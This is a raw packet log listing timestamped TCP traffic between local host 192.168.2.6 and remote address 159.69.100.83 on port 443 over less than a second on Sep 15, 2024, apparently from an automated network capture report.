Sep 15, 2024 19:37:06.541810989 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.541851997 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.555901051 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.555918932 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.556014061 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.556037903 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.556082010 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.570668936 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.570687056 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.570787907 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.570817947 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.570858955 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.575583935 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.575602055 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.575648069 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.575659037 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.575686932 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.575701952 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.584255934 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.584280968 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.584347010 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.584357023 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.584392071 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.584410906 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.594125032 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.594161034 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.594208956 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.594221115 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.594230890 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.594258070 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.602042913 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.602077961 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.602127075 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.602145910 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.602166891 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.602193117 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.610878944 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.610928059 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.610970020 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.610992908 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.611011982 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.611038923 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.626840115 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.626862049 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.626929998 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.626954079 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.626986027 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.641350985 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.641367912 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.641452074 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.641477108 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.641515970 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.656974077 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.656992912 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.657073021 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.657094002 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.657136917 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.661863089 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.661880016 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.661941051 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.661955118 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.662072897 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.671471119 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.671487093 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.671533108 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.671549082 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.671564102 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.671581030 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.681230068 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.681248903 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.681314945 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.681330919 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.681364059 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.689002991 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.689023972 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.689085007 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.689100027 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.689133883 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.698009014 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.698024988 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.698096991 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.698113918 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.698151112 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.715369940 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.715392113 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.715480089 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.715506077 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.715543985 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.729924917 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.729943037 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.730019093 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.730041027 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.730092049 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.745557070 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.745573997 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.745629072 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.745646000 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.745668888 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.745683908 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.753982067 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.753999949 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.754062891 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.754080057 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.754100084 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.754115105 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.760528088 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.760550022 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.760632038 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.760648966 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.760685921 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.772852898 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.772867918 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.772917986 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.772934914 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.772967100 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.777625084 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.777640104 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.777688980 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.777702093 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.777734041 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.786647081 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.786663055 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.786735058 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.786748886 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.786783934 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.808140039 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.808157921 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.808229923 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.808247089 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.808284044 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.828207016 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.828224897 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.828300953 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.828318119 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.828351021 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.839281082 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.839298010 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.839354992 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.839370012 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.839404106 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.842833042 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.842848063 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.842900038 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.842919111 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.842948914 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.849433899 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.849450111 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.849515915 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.849526882 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.849561930 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.862026930 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.862042904 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.862104893 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.862118959 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.862149954 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.866013050 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.866030931 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.866081953 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.866091967 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.866120100 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.875350952 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.875368118 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.875451088 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.875466108 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.875508070 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.892431021 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.892450094 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.892514944 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.892527103 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.892570019 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.916882992 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.916903019 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.916985989 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.917001963 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.917052031 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.927306890 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.927329063 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.927392960 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.927407980 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.927491903 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.931219101 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.931241989 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.931293011 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.931304932 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.931339979 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.937779903 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.937798023 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.937860012 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.937874079 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.937906027 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.950849056 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.950875998 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.951008081 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.951021910 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.951062918 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.955080986 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.955102921 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.955286026 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.955301046 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.955342054 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.964397907 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.964420080 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.964488029 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.964503050 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.964540005 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.981127977 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.981156111 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.981229067 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:06.981245995 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:06.981281996 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.005213022 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.005235910 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.005357981 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.005373001 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.005409002 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.015916109 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.015940905 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.016010046 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.016021967 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.016056061 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.019932032 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.019953966 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.020024061 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.020034075 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.020066023 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.026453972 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.026472092 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.026566029 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.026577950 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.026614904 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.039633036 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.039650917 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.039721966 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.039733887 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.039769888 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.046464920 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.046493053 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.046570063 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.046581984 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.046617031 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.053050041 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.053075075 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.053148985 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.053163052 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.053196907 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.069989920 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.070012093 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.070086956 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.070101976 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.070137978 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.095570087 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.095638990 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.095773935 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.095791101 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.095873117 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.106328964 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.106410980 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.106551886 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.106620073 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.106667042 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.110230923 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.110255003 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.110330105 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.110338926 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.110380888 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.116667986 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.116686106 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.116770029 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.116779089 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.116806984 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.116864920 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.133939981 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.134011030 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.134105921 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.134119987 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.134145021 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.134166002 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.134954929 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.135008097 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.135041952 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.135046959 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.135072947 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.135090113 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.142081976 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.142128944 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.142160892 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.142173052 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.142194986 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.142214060 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.158849001 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.158979893 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.158982992 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.159010887 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.159039021 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.159059048 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.182678938 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.182735920 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.182815075 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.182843924 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.182859898 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.182888031 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.193625927 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.193674088 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.193716049 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.193732023 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.193758011 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.193775892 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.199558020 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.199601889 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.199639082 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.199651957 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.199678898 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.199698925 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.204715967 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.204737902 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.204812050 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.204828024 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.204874039 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.223978043 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.224020958 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.224103928 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.224114895 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.224153996 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.225032091 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.225075006 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.225109100 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.225114107 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.225145102 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.232042074 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.232063055 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.232136965 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.232146025 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.232297897 CEST	49728	443	192.168.2.6	159.69.100.83
